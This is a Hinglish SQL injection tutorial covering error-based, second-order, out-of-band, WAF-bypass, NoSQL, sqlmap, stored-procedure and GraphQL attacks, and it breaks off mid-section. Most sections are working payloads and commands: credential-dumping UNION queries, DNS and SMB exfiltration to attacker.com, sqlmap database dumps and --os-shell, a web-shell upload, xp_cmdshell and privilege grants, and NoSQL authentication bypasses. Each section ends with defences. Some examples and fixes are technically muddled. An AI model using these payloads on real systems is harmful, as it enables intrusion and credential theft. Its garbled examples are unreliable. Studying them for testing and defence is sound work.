1. Error-Based SQL Injection


2. Second-Order SQL Injection
3. Out-of-Band (OOB) SQL Injection
4. WAF (Web Application Firewall) Bypass Techniques
5. NoSQL Injection
6. Advanced SQLmap Usage
7. Exploiting Stored Procedures & Functions
8. GraphQL SQL Injection
9. DNS Exfiltration using SQLi
10. Real-Life SQL Injection Challenges (CTF & Bug Bounty)

1. Error-Based SQL Injection


Error-Based SQL Injection ek powerful technique hai jo database ke error messages ka
misuse karke data extract karti hai.
Agar developer ne error handling properly nahi ki toh SQLi se database structure aur
sensitive data mil sakta hai.

🔹 1. Error-Based SQL Injection Kaise Kaam Karta Hai?

Agar SQL query me error handling weak ho, toh malicious query inject karke database
errors extract kiye ja sakte hain.
Errors directly page pe show hote hain, jo attacker ko database ka structure reveal kar sakta
hai.
✅ Error-Based SQLi tab possible hoti hai jab application SQL errors show karti hai.
✅ Error messages se table names, column names aur database version nikal sakta hai.

🔹 2. Real-Life Example
📌 Vulnerable URL:
https://target.com/product.php?id=5

Agar id=5' pass karein, aur error mile:

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version

✅ Matlab SQL Injection possible hai!

🔹 3. Step-by-Step Attack Execution


📌 Step 1: Find SQL Injection Vulnerability

Agar single quote (') inject karne par error aaye, toh SQL Injection possible hai.

https://target.com/product.php?id=5'

Error message:

You have an error in your SQL syntax...

✅ Confirmed: Application SQL errors show karti hai.

📌 Step 2: Find Database Version

MySQL me database version nikalne ke liye @@version ka use hota hai:

https://target.com/product.php?id=5 UNION SELECT @@version--

Agar page pe database version show ho jaye, toh SQLi successful hai.

Example Output:
5.7.36-MySQL

✅ MySQL 5.7.36 confirm ho gaya!

📌 Step 3: Find Database Name

Database ka naam nikalne ke liye:

https://target.com/product.php?id=5 UNION SELECT database()--

Agar output aaye:

target_db

✅ Database name: target_db mil gaya!

📌 Step 4: Find Table Names

Table names nikalne ke liye information_schema.tables ka use hota hai:

https://target.com/product.php?id=5 UNION SELECT table_name FROM


information_schema.tables WHERE table_schema=database()--

Output:

users
admin_panel
orders

✅ Tables: users, admin_panel, orders mil gayi!

📌 Step 5: Find Column Names

Agar users table ka structure check karna ho:

https://target.com/product.php?id=5 UNION SELECT column_name FROM


information_schema.columns WHERE table_name='users'--

Output:
id
username
password
email

✅ Columns: id, username, password, email mil gaye!

📌 Step 6: Extract User Credentials

Ab users table se username aur password nikal sakte hain:

https://target.com/product.php?id=5 UNION SELECT username, password FROM


users--

Output:

admin | 5f4dcc3b5aa765d61d8327deb882cf99

✅ Username: admin aur Password (MD5 Hash): 5f4dcc3b5aa765d61d8327deb882cf99 mil


gaya!

🔹 4. Automated Exploitation using SQLmap

Agar manually exploit karna possible ho, toh SQLmap se automation bhi kar sakte hain.

📌 Find Database Version


sqlmap -u "https://target.com/product.php?id=5" --banner

📌 Find Database Name


sqlmap -u "https://target.com/product.php?id=5" --current-db

📌 Find Table Names


sqlmap -u "https://target.com/product.php?id=5" --tables -D target_db

📌 Find Column Names


sqlmap -u "https://target.com/product.php?id=5" --columns -D target_db -T
users

📌 Extract Data
sqlmap -u "https://target.com/product.php?id=5" --dump -D target_db -T users
✅ Poora database dump ho jayega!

🔹 5. How to Prevent Error-Based SQL Injection?

1️⃣ Use Prepared Statements (Parameterized Queries)


✅ SQL Injection ko block karne ka best method.

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");


$stmt->execute([$id]);

2⃣ Disable SQL Errors in Production


✅ Errors users ko na dikhayein.

error_reporting(0);
ini_set('display_errors', 0);

3️⃣ Use Web Application Firewalls (WAF)


✅ ModSecurity, Cloudflare WAF jaise tools SQLi ko detect aur block kar sakte hain.

🔹 Conclusion
✅ Error-Based SQL Injection tab possible hoti hai jab application SQL errors show karti
hai.
✅ Error messages ka use karke database version, table names aur sensitive data nikal
sakta hai.
✅ SQLmap ka use karke automated exploitation ki ja sakti hai.
✅ Prevention ke liye prepared statements, error handling aur WAF use karna zaroori
hai.

2. Second-Order SQL Injection


Second-Order SQL Injection ek advanced attack hai jo tab trigger hoti hai jab malicious input
ko application store kar leti hai, aur baad me kisi aur query me execute karti hai.
Ye attack normal SQLi se zyada dangerous hoti hai kyunki directly injection detect nahi hoti
aur later execution ke time payload execute hota hai.

🔹 1. Second-Order SQL Injection Kaise Kaam Karti Hai?

✅ Attacker SQL payload store karta hai database me (e.g., signup form, profile update,
comments section).
✅ Application normal lagti hai, koi error nahi dikhta!
✅ Jab application later koi dusri query run karti hai (e.g., login, profile update), tab
injection trigger hoti hai.

Example: Agar ek signup form me malicious SQL code inject kiya jaye, toh ye tab execute
ho sakti hai jab admin user list check kare ya login kare!

🔹 2. Real-Life Example
📌 Scenario: Vulnerable Signup Form

Maan lo ek website ka signup form vulnerable hai:

INSERT INTO users (username, password) VALUES ('$username', '$password')

Attacker ne username field me payload store kar diya:

username = testuser'--
password = 123456

Query jo database me store ho gayi:

INSERT INTO users (username, password) VALUES ('testuser'--', '123456')

✅ Ye payload database me as a username store ho gaya!

📌 Step 1: Attack Execution (Later Query)

Agar admin kisi report me user list retrieve kare, toh query kuch aisi ho sakti hai:

SELECT username FROM users WHERE id = '$id'


Agar id = 1 ho toh query:

SELECT username FROM users WHERE id = 'testuser'--'

✅ Jo bhi SQL injection pehle store hui thi, ab execute ho gayi!


✅ Database ka query execution break ho gaya aur injection trigger ho gayi.

🔹 3. Step-by-Step Attack Execution


📌 Step 1: Inject Malicious Input in a Form

Attacker signup form me username as a SQL payload enter karega:

testuser' , role='admin

Query jo store ho gayi:

INSERT INTO users (username, role) VALUES ('testuser', 'admin')

✅ Malicious data database me store ho gaya!

📌 Step 2: Execution in Another Query

Agar koi admin dashboard me user roles fetch kare:

SELECT username, role FROM users WHERE username='$username'

Agar username='testuser' toh SQL execution:

SELECT username, role FROM users WHERE username='testuser'

✅ Attacker ka role ab 'admin' set ho gaya!


✅ Attack Successful!

🔹 4. Automated Exploitation Using SQLmap

Agar koi second-order SQLi vulnerability suspect ho, toh sqlmap me delayed execution
payload use kiya jata hai.
📌 Detect SQL Injection:
sqlmap -u "https://target.com/signup.php" --
data="username=testuser&password=123456" --batch --level=5 --risk=3

✅ Agar vulnerability detect ho, toh exploit kar sakte hain.

🔹 5. How to Prevent Second-Order SQL Injection?

1️⃣ Use Prepared Statements (Parameterized Queries)


✅ Database me direct string concatenation mat karo.

$stmt = $pdo->prepare("INSERT INTO users (username, password) VALUES (?,


?)");
$stmt->execute([$username, $password]);

2⃣ Sanitize and Validate Input


✅ User input ko validate karo aur SQL-specific characters ko escape karo.

$username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

3️⃣ Least Privilege Access


✅ Database users ko minimum privileges do, taaki stored injection execute na ho sake.

🔹 Conclusion
✅ Second-Order SQLi dangerous hai kyunki ye injection turant execute nahi hoti, balki
baad me execute hoti hai.
✅ Normal manual testing se detect karna mushkil hota hai.
✅ Proper input sanitization aur prepared statements use karke isse bach sakte hain.

3. Out-of-Band (OOB) SQL Injection


Out-of-Band (OOB) SQL Injection ek advanced technique hai jo tab use hoti hai jab:
✅ Error-based aur Blind SQLi possible na ho.
✅ Application directly response na de ya queries execute hone me time lage.
✅ Firewall (WAF) ya logging ke kaaran payloads block ho rahe ho.

🔹 OOB SQL Injection Ka Basic Concept

Instead of getting data in the same request, attacker database ko force karta hai external
server par data send karne ke liye.

• DNS exfiltration: Data ko attacker ke DNS server par send karna.


• HTTP exfiltration: Data ko external web request ke through send karna.

🔹 1. OOB SQL Injection Attack Kaise Kaam Karta Hai?

✅ Attacker SQL query inject karta hai jo external server se connect kare.
✅ Database ka response direct nahi aata, balki attacker ke server pe aata hai.
✅ Firewall bypass hone ka chance hota hai, kyunki request database se nikalti hai.

🔹 2. Real-Life Example of OOB SQL Injection


📌 Scenario: Application WAF Protect Kar Rahi Hai

Agar Error-Based aur Blind SQLi fail ho jaye, toh attacker out-of-band exfiltration use
karega.

Agar database MySQL ya MSSQL hai, toh attacker LOAD_FILE(), xp_cmdshell, ya


dns_lookup() functions ka use karega.

🔹 3. Step-by-Step Attack Execution


📌 Step 1: Attacker Apna Server Setup Karta Hai

Attacker apne system par Burp Collaborator ya Interactsh ka DNS/HTTP listener setup
karega.

sudo python3 -m http.server 80


ya

sudo tcpdump -i eth0 port 53

✅ Ye server attacker ke incoming OOB requests capture karega.

📌 Step 2: Inject OOB Payload in SQL Query

Agar MySQL database use ho raha hai, toh attacker ye payload inject karega:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\'));

✅ Ye database ka naam attacker's server attacker.com par send karega.

Agar MSSQL database hai, toh:

exec master..xp_dirtree '\\attacker.com\test'

✅ Ye MSSQL ko force karega ki external server se connect ho.

📌 Step 3: Extract Database Information via DNS Exfiltration

Attacker ye query inject karega:

SELECT 'OOB' INTO OUTFILE '\\\\attacker.com\\test.txt';

✅ Agar response aaya toh SQLi successful hai!

🔹 4. Automated Exploitation Using SQLmap

Agar OOB SQLi exploit karna ho, toh sqlmap ka --dns-domain option use karein.

sqlmap -u "https://target.com/product.php?id=5" --dns-domain=attacker.com --


batch

✅ Agar SQLi successful ho, toh attacker ke server pe request aayegi!


🔹 5. How to Prevent Out-of-Band SQL Injection?

1️⃣ Disable Dangerous Functions


✅ LOAD_FILE(), xp_cmdshell, aur OPENROWSET ko disable karo.

2⃣ Firewall & Network Restrictions


✅ Database servers ko external DNS/HTTP requests karne se block karo.

3️⃣ Use Prepared Statements


✅ SQL injection prevent karne ke liye prepared statements use karo.

🔹 Conclusion
✅ OOB SQLi tab use hoti hai jab normal SQLi techniques fail ho jayein.
✅ Data ko external DNS ya HTTP requests ke through exfiltrate kiya jata hai.
✅ Proper network restrictions aur prepared statements use karke isse prevent kiya ja
sakta hai.

4. WAF Bypass Techniques for SQL Injection


Web Application Firewall (WAF) SQL Injection attacks ko detect aur block karne ke liye
bana hota hai.
Lekin advanced attackers WAF ko bypass karne ke multiple techniques use karte hain.

🔹 1. WAF Kaise SQL Injection Block Karta Hai?

✅ Pattern Matching: UNION SELECT, ' OR 1=1 -- jaise payloads ko detect karta hai.
✅ Keyword Filtering: SELECT, DROP, INSERT jaise SQL keywords ko block karta hai.
✅ Rate Limiting: Same IP se multiple SQLi attempts hone par block kar deta hai.
✅ Input Sanitization: Special characters (', ", --, #, ;) ko remove kar deta hai.
🔹 2. WAF Bypass Karne Ke Advanced Techniques
📌 1. Case Manipulation (Upper/Lowercase Bypass)

Agar WAF union select detect kar raha hai, toh hum UNION SeLeCt likh sakte hain.

UnIoN SeLeCt 1,2,3 --

✅ WAF case-sensitive ho toh ye bypass ho sakta hai!

📌 2. Inline Comments (/**/) Use Karna

Agar WAF SELECT detect kar raha hai, toh usko split karne ke liye comments use kar sakte
hain.

UNION/**/SELECT/**/1,2,3 --

✅ SQL query valid rahegi, lekin WAF ka pattern matching fail ho jayega.

📌 3. Encoding Techniques (Hex, Base64, URL Encoding)

Agar WAF normal SQLi payloads detect kar raha hai, toh encoding ka use kiya jata hai.

Hex Encoding:

SELECT 0x61646D696E; -- ('admin' ka Hex format)

✅ WAF ko lagta hai ki ye simple string hai, lekin SQL isse decode kar lega.

Base64 Encoding:
Agar admin' OR '1'='1 block ho raha hai, toh usko Base64 encode karke pass kar sakte hain.

SELECT FROM users WHERE username=FROM_BASE64('YWRtaW4=');

✅ Ye Base64 decoded hone ke baad admin ban jayega!

URL Encoding:
%55nion%20%53elect 1,2,3 --

✅ WAF ko ye URL encoding lagta hai, lekin backend decode kar lega!

📌 4. Logical Bypass (OR 1=1, AND 1=1 Ke Variations)

Agar OR 1=1 block ho raha hai, toh alternative logical operations try kar sakte hain.

OR true --
OR 'a'='a' --
OR 'x'='x'

✅ WAF ke filters ko bypass karne ke liye logical tricks ka use hota hai.

📌 5. Using Alternative SQL Functions

Agar WAF SELECT block kar raha hai, toh usko alternate functions ke saath replace kar sakte
hain.

✅ Example: Replace UNION SELECT with UNION ALL SELECT

UNION ALL SELECT 1,2,3 --

✅ Example: Using IFNULL() to hide SELECT keyword

SELECT IFNULL(username, '') FROM users;

✅ Example: Using CHAR() instead of Direct Strings

SELECT CHAR(117,115,101,114,110,97,109,101) FROM users;

✅ Ye backend me username ban jayega!

📌 6. Time-Based Bypass (SLEEP(), BENCHMARK())

Agar Blind SQL Injection detect ho rahi hai, toh WAF response manipulation techniques
block karega.
Is case me time delay ka use karke SQLi detect kar sakte hain.
MySQL (SLEEP):

SELECT IF(1=1, SLEEP(5), 'false');

✅ Agar response 5 sec delay se aaye, toh SQLi confirm hai.

MSSQL (WAITFOR DELAY):

IF 1=1 WAITFOR DELAY '00:00:05';

✅ MSSQL me query execute hone me delay hoga!

📌 7. HTTP Parameter Pollution (HPP) Attack

Agar WAF GET/POST requests filter kar raha hai, toh duplicate parameters inject karke
bypass kar sakte hain.

Normal Request:

https://target.com/login.php?user=admin' OR '1'='1

WAF Bypass (HPP):

https://target.com/login.php?user=admin&user=' OR '1'='1

✅ WAF sirf pehli user ko check karega, dusra parameter SQLi inject karega.

📌 8. Multi-Line Comments for Query Confusion

Agar WAF single-line queries detect kar raha hai, toh multi-line comments ka use karke SQLi
hide kar sakte hain.

Normal Query:

SELECT username FROM users WHERE id=1;

WAF Bypass Using Comments:

SELE/*comment*/CT username FROM users WHERE id=1;

✅ WAF ke pattern filters fail ho sakte hain!


📌 9. JSON & XML Payloads for Bypassing Web APIs

Agar application JSON/XML APIs use kar rahi hai, toh traditional SQLi block ho sakti hai.
Is case me JSON injection ya XML injection try kar sakte hain.

✅ JSON SQL Injection:

{
"user": "' OR '1'='1",
"pass": "password"
}

✅ XML SQL Injection:

<user>admin' OR '1'='1</user>

✅ Agar backend insecure SQL queries use kar raha hai, toh SQLi ho sakti hai.

🔹 3. WAF Bypass in SQLmap

SQLmap me --tamper option ka use karke WAF bypass kar sakte hain.

sqlmap -u "https://target.com/login.php?user=admin" --tamper=space2comment --


batch

✅ Ye SQL keywords ko obfuscate kar deta hai, jisse WAF detect nahi kar paata.

Agar WAF strict ho, toh multiple tamper scripts use kar sakte hain:

sqlmap -u "https://target.com/login.php?user=admin" --
tamper=space2comment,charencode,randomcase --batch

✅ Multiple encoding aur bypass techniques ek sath apply ho jati hain.

🔹 4. How to Defend Against WAF Bypass?

1️⃣ Strong WAF Rules & Signature-Based Detection


✅ SQL keywords ke obfuscation aur encoding patterns detect karo.
2⃣ Behavior-Based Anomaly Detection
✅ Agar koi user abnormal SQL queries execute kar raha hai, toh alert trigger ho.

3️⃣ Web Application Secure Coding


✅ Prepared Statements aur Parameterized Queries use karo:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");


$stmt->execute([$username]);

✅ Isse SQL Injection possible nahi rahegi!

🔹 Conclusion
✅ WAF ko bypass karne ke multiple advanced techniques hain, jaise encoding, logical
manipulation, aur time delays.
✅ SQLmap ka --tamper option use karke automated WAF bypass possible hai.
✅ Proper security configurations aur behavior-based anomaly detection se WAF ko
strong banaya ja sakta hai.

5. NoSQL Injection: Exploiting NoSQL Databases


🔹 Introduction to NoSQL Injection

NoSQL databases (MongoDB, Firebase, CouchDB, etc.) structured query language (SQL) ka
use nahi karte.
Lekin insecure query handling ki wajah se yeh bhi injection attacks ka shikar ho sakti hain.

✅ NoSQL Injection traditional SQLi se alag hoti hai, kyunki isme SQL keywords nahi
hote.
✅ Yeh mostly JSON-based queries pe hoti hai, jo JavaScript/Node.js applications me use
hoti hain.
🔹 1. NoSQL Databases Vulnerability Understanding

NoSQL databases structured nahi hote, aur JSON-like objects store karte hain.
Example: MongoDB ek document-based NoSQL database hai.

Agar ek insecure authentication query kuch is tarah likhi ho:

db.users.find({ "username": user_input, "password": pass_input })

✅ Agar user controlled user_input aur pass_input escape nahi kiya gaya, toh NoSQL
injection possible hai!

🔹 2. Basic NoSQL Injection Attack Example (MongoDB)

Agar application me insecure login validation ho, toh hum malicious payload inject kar sakte
hain.

Normal Request (Valid User Login)

{ "username": "admin", "password": "admin123" }

Injected Payload (Bypass Authentication)

{ "username": { "$ne": null }, "password": { "$ne": null } }

✅ $ne (Not Equal) operator ka use karke authentication bypass ho sakta hai.

🔹 3. Advanced NoSQL Injection Techniques


📌 1. Boolean-Based NoSQL Injection

Agar application user authentication ke liye findOne() function use kar raha hai:

db.users.findOne({ "username": user_input, "password": pass_input })

Hum malicious JSON inject karke authentication bypass kar sakte hain:

{ "username": "admin", "password": { "$exists": false } }

✅ Yeh check karega ki password field exist nahi karti, jo bypass attack ke liye useful hai.
📌 2. NoSQL Injection for Dumping User Data

Agar hum sensitive data extract karna chahte hain, toh hum $regex operator ka use kar sakte
hain.

Extract All Usernames:

{ "username": { "$regex": ".*" } }

✅ Yeh query sabhi usernames return karegi, jo enumeration attack me kaam aayegi.

📌 3. NoSQL Time-Based Blind Injection

Agar application response time se SQL Injection detect hoti hai, toh NoSQL me bhi similar trick
kaam karti hai.

Example: Agar application me sleep() function implement ho sakta hai:

{ "username": "admin", "$where": "sleep(5000)" }

✅ Agar response 5 sec delay se aaye, toh injection vulnerability confirm hai!

📌 4. NoSQL Injection in JWT (JSON Web Tokens)

Agar JWT me insecure decoding ho rahi hai, toh NoSQL injection JWT payloads me bhi
possible hai.

Example:

{
"username": { "$gt": "" }
}

✅ Iska use authentication bypass aur token manipulation ke liye ho sakta hai!
📌 5. Automated NoSQL Injection Testing (NoSQLMap)

NoSQLMap ek automated tool hai jo MongoDB, CouchDB jaise databases me injection test
karta hai.

python nosqlmap.py -u "http://target.com/login"

✅ Yeh NoSQL Injection vulnerabilities detect karta hai aur automated exploitation karta
hai.

🔹 4. How to Defend Against NoSQL Injection?

✅ 1. Secure Query Filtering:


Use parameterized queries instead of direct user inputs:

db.users.findOne({ username: sanitize(user_input), password: hash(pass_input)


})

✅ 2. Input Validation:

• Special characters ($, {}, [], ", :) ko sanitize karo.


• Regular expressions ka proper use karo.

✅ 3. Web Application Firewall (WAF):

• NoSQL payloads ko detect karne wale security rules implement karo.

✅ 4. Use JSON Schema Validation:

{
"username": { "type": "string", "minLength": 3, "maxLength": 20 },
"password": { "type": "string", "minLength": 8 }
}

✅ 5. JWT Signature Verification:


JWT tokens ko tamper-proof banane ke liye HMAC or RSA signing ka use karo.
🔹 Conclusion
✅ NoSQL Injection traditional SQLi se different hoti hai, lekin equally dangerous hai.
✅ Agar queries insecure tareeke se handle ho rahi hain, toh attackers authentication
bypass, data enumeration, aur DoS attacks kar sakte hain.
✅ Proper sanitization, WAF, aur JSON schema validation se NoSQL Injection prevent
kiya ja sakta hai.

6. Advanced SQLmap Usage: Automating SQL Injection


Attacks
🔹 Introduction to SQLmap

SQLmap ek open-source penetration testing tool hai jo SQL Injection vulnerabilities ko detect
aur exploit karta hai.
Ye manual SQLi se zyada fast aur automated hota hai aur multiple database engines
(MySQL, MSSQL, PostgreSQL, Oracle, etc.) ko support karta hai.

✅ SQL Injection exploitation ka automated tool


✅ Error-based, Blind, Boolean, Time-based, Stacked Queries, WAF Bypass sab kuch
support karta hai
✅ Bug Bounty aur Penetration Testing ke liye must-have tool hai

🔹 1. SQLmap Installation

SQLmap ko install karne ke liye:

Kali Linux:

sudo apt install sqlmap -y

Windows (Python required):

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git


cd sqlmap
python sqlmap.py
✅ Ab SQLmap ready hai!

🔹 2. Basic SQLmap Usage (Detecting SQL Injection)

Kisi vulnerable URL ko scan karne ke liye:

sqlmap -u "http://target.com/index.php?id=1" --dbs

✅ Yeh check karega ki SQL Injection possible hai ya nahi, aur database ka naam nikalne
ki koshish karega.

🔹 3. Dumping Database Tables & Data

Agar SQL Injection vulnerable ho, toh tables aur records extract karne ke liye:

sqlmap -u "http://target.com/index.php?id=1" --tables

✅ Tables ka structure dekhne ke liye use hota hai.

sqlmap -u "http://target.com/index.php?id=1" -D target_db --dump

✅ Yeh pura database dump kar dega!

🔹 4. Extracting User Credentials (Hashes & Passwords)

Agar users wali table pata chal jaye, toh credentials extract karne ke liye:

sqlmap -u "http://target.com/index.php?id=1" -D target_db -T users --dump

✅ Agar password hashes mile toh unko crack bhi kiya ja sakta hai!

Hash crack karne ke liye:

hashcat -m 0 hash_list.txt wordlist.txt


🔹 5. Bypassing Web Application Firewalls (WAFs)

Agar SQLmap se WAF detect ho jaye, toh bypass ke liye tampering scripts ka use kar sakte
hain:

sqlmap -u "http://target.com/index.php?id=1" --tamper=space2comment

✅ Yeh spaces ko /**/ se replace karega jo WAF bypass ke liye useful hai!

Kuch aur tampering techniques:

sqlmap -u "http://target.com/index.php?id=1" --
tamper=between,space2comment,randomcase

🔹 6. Time-Based Blind SQL Injection Exploitation

Agar error ya output nahi mil raha lekin SQLi vulnerable hai, toh time-based attack ka use
karein:

sqlmap -u "http://target.com/index.php?id=1" --technique=T --dbs

✅ Ye SLEEP() ka use karke SQLi verify karega.

🔹 7. Stacked Queries (Multiple Queries Execution)

Agar stacked queries allowed hain toh multiple SQL commands ek saath execute kiye ja sakte
hain:

sqlmap -u "http://target.com/index.php?id=1" --batch --technique=E

✅ Ye ek saath multiple SQL commands run karega jo advanced exploitation me kaam


aata hai.

🔹 8. Gaining Shell Access via SQL Injection

Agar DBMS command execution allow karta hai, toh shell access le sakte hain:

sqlmap -u "http://target.com/index.php?id=1" --os-shell


✅ Agar SQLi successful ho gayi, toh OS level ka shell mil sakta hai!

Agar direct shell na mile, toh reverse shell setup kar sakte hain:

sqlmap -u "http://target.com/index.php?id=1" --file-


write=/var/www/html/shell.php --file-dest=/var/www/html/shell.php

✅ Phir shell.php ko execute karke remote control le sakte hain!

🔹 9. Automating Exploits in Bug Bounty & Pentesting

Agar multiple URLs test karne hain, toh ek file me URLs save kar ke SQLmap use karein:

sqlmap -m targets.txt --batch --random-agent --level=5 --risk=3

✅ Ye sabhi URLs par SQL Injection test karega!

Agar burpsuite ke requests ko SQLmap ke saath use karna hai:

sqlmap -r request.txt --dbs

✅ BurpSuite ka request file use karke SQLi test karega!

🔹 10. Protecting Against SQLmap Attacks

✅ 1. Parameterized Queries ka use karo:

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");


$stmt->bind_param("s", $username);

✅ 2. Web Application Firewall (WAF) enable karo:

• ModSecurity
• Cloudflare WAF

✅ 3. Rate Limiting aur Logging enable karo:

• Agar ek user baar baar SQL Injection try kare, toh block kar diya jaye.

✅ 4. Database Error Messages Hide Karo:


• Agar SQL errors dikhengi toh attackers ko SQLi detect karne me madad milegi.

🔹 Conclusion

✅ SQLmap ek powerful tool hai jo automated SQL Injection ke liye use hota hai.
✅ Iska use Bug Bounty, Pentesting aur Ethical Hacking me kiya jata hai.
✅ Advanced features jaise WAF Bypass, Shell Access, aur Automated Attacks available
hain.
✅ Secure coding aur WAF ke bina SQLmap attacks kaafi dangerous ho sakte hain!

7. Exploiting Stored Procedures & Functions via SQL


Injection
🔹 Introduction to Stored Procedures & Functions

✅ Stored Procedures & Functions databases ke andar predefined SQL queries hote hain, jo
data manipulation aur business logic execute karte hain.
✅ Agar properly sanitized nahi kiya gaya, toh SQL Injection attacks stored procedures aur
functions me bhi ho sakte hain.
✅ SQLi via stored procedures ka use privilege escalation, OS command execution, aur
data exfiltration ke liye ho sakta hai.

Supported Databases: MySQL, MSSQL, PostgreSQL, Oracle

🔹 1. Understanding Stored Procedures & Functions


📌 Example of a Vulnerable Stored Procedure (MySQL)
CREATE PROCEDURE getUser(IN user VARCHAR(50))
BEGIN
SET @query = CONCAT('SELECT * FROM users WHERE username = "', user, '"');
PREPARE stmt FROM @query;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
END;
✅ Problem: CONCAT() ka use dynamic query creation ke liye ho raha hai, jo SQL Injection
vulnerable hai!
✅ Attacker agar malicious input pass kare, toh query manipulation possible ho sakti hai.

🔹 2. Exploiting Stored Procedures (Real-World Examples)


📌 Example 1: Classic SQL Injection via Stored Procedure (MySQL)

Agar stored procedure me dynamic query execution ho raha ho, toh attacker query manipulate
kar sakta hai:

CALL getUser('admin" OR "1"="1');

✅ Iska result hoga:

SELECT * FROM users WHERE username = "admin" OR "1"="1";

✅ Ye entire users table ka data return karega!

📌 Example 2: Gaining Shell Access via SQL Injection (MSSQL - xp_cmdshell


Exploit)

MSSQL me agar xp_cmdshell enabled ho, toh OS commands execute kiya ja sakta hai.

DECLARE @cmd VARCHAR(100);


SET @cmd = 'cmd.exe /c whoami';
EXEC xp_cmdshell @cmd;

✅ Agar SQLi possible ho, toh attacker whoami, net user, ya nc.exe ka use karke reverse
shell le sakta hai.

📌 Example 3: Privilege Escalation via SQL Injection (Oracle -


DBMS_SQL.EXECUTE)

Oracle me DBMS_SQL.EXECUTE() stored procedure agar properly sanitized nahi kiya gaya, toh
privilege escalation possible hai.

BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
END;

✅ Agar attacker isko execute kar sake, toh DBA (Database Administrator) rights mil
sakte hain!

🔹 3. Bypassing Input Filters & WAF in Stored Procedures

Agar application OR 1=1 ya ' -- jaise payloads filter kar raha ho, toh bypass ke liye encoding
& function abuse ka use kar sakte hain.

✅ Bypassing Simple Filters:

' OR 'A'='A

✅ Hex Encoding Bypass:

0x27 OR 0x41=0x41

✅ Comment Injection Bypass:

admin' /*

Agar WAF ya blacklist filtering ho rahi hai, toh char() functions ka use karke SQLi inject
kiya ja sakta hai.
✅ Bypassing using char() function:

admin' UNION SELECT char(97,100,109,105,110), password FROM users;

✅ Output: "admin", "hashed_password"

🔹 4. Detecting & Exploiting Stored Procedure-Based SQLi via SQLmap

Agar application stored procedure vulnerable ho, toh --procedure flag ka use kar sakte hain:

sqlmap -u "http://target.com/index.php?id=1" --dbs --procedure

✅ Yeh stored procedures ko enumerate karega aur vulnerable procedures find karega.

Agar command execution stored procedure vulnerable ho, toh shell execute karne ke liye:
sqlmap -u "http://target.com/index.php?id=1" --os-shell

✅ Agar SQLmap os-shell access de raha hai, toh system ke full control ka chance hai!

🔹 5. Securing Stored Procedures Against SQL Injection

✅ 1. Dynamic Queries Avoid Karo

CREATE PROCEDURE getUser(IN user VARCHAR(50))


BEGIN
SELECT * FROM users WHERE username = user;
END;

✅ 2. Parameterized Queries Use Karo

PREPARE stmt FROM 'SELECT * FROM users WHERE username = ?';


EXECUTE stmt USING @user;

✅ 3. Minimum Required Privileges Assign Karo

• Stored procedures ko unnecessary DBA ya EXECUTE privileges mat do.

✅ 4. Web Application Firewall (WAF) Use Karo

• SQLi filtering aur logging enable karo.

🔹 Conclusion

✅ Stored procedures aur functions SQL Injection ke against safe nahi hote agar
validation weak ho.
✅ Attacker privilege escalation, OS command execution, aur data exfiltration kar sakta
hai.
✅ Proper parameterized queries aur WAF se SQLi via stored procedures prevent kiya ja
sakta hai.
8. GraphQL SQL Injection (SQLi) Exploitation
🔹 Introduction to GraphQL SQL Injection

GraphQL ek API query language hai jo REST API ka alternative hai. Lekin, agar proper
input validation nahi hai, toh SQL Injection possible ho sakti hai, specially nested queries
aur variables ke through.

✅ GraphQL SQL Injection dangerous hoti hai, kyunki:

• Single endpoint hota hai (/graphql), jo attack surface badhata hai.


• Nested queries & batching attacks se exploitation complex ho sakti hai.
• GraphQL me WAF bypass karna REST API se easy hota hai.

Target Environments:
✔ GraphQL APIs using MySQL, PostgreSQL, MSSQL, Oracle
✔ Web Apps, Mobile Apps, Serverless APIs

🔹 1. Understanding How GraphQL Works

GraphQL queries structured JSON-like format me hoti hain.

📌 Example of a GraphQL Query


{
user(id: 1) {
name
email
}
}

✅ Iska SQL Query conversion:

SELECT name, email FROM users WHERE id = 1;

✅ Agar id parameter properly sanitized nahi kiya gaya, toh SQL Injection ho sakti hai!
🔹 2. Exploiting SQL Injection in GraphQL
📌 Example 1: Injecting SQLi via GraphQL Query Variables

Agar GraphQL request user-controlled input accept kar rahi ho, toh attacker injection perform
kar sakta hai.

Vulnerable Query:

query {
user(id: "1") {
name
email
}
}

Possible SQL Injection Exploit:

query {
user(id: "1' OR '1'='1") {
name
email
}
}

✅ Resulting SQL Query:

SELECT name, email FROM users WHERE id = '1' OR '1'='1';

This returns ALL users instead of just one!

📌 Example 2: SQLi via GraphQL Arguments (Union-Based SQLi)

GraphQL ke arguments me SQL Injection execute ki ja sakti hai.

query {
user(id: "1' UNION SELECT username, password FROM admin--") {
name
email
}
}

✅ Resulting SQL Query:

SELECT name, email FROM users WHERE id = '1' UNION SELECT username, password
FROM admin--';
✅ Attacker admin credentials extract kar sakta hai!

📌 Example 3: Boolean-Based Blind SQL Injection in GraphQL

Agar GraphQL me SQLi possible ho, toh boolean-based blind SQL Injection se data extract
kar sakte hain.

🛑 Boolean-Based Query Example


query {
user(id: "1' AND (SELECT 1 FROM users WHERE
SUBSTRING(password,1,1)='a')='1") {
name
email
}
}

✅ Agar response different ho, toh password ka first letter 'a' hai!
✅ Is tarah binary search technique se complete password extract kiya ja sakta hai.

📌 Example 4: Time-Based SQL Injection in GraphQL

Agar response different nahi ho raha, toh time-based SQL Injection use kar sakte hain.

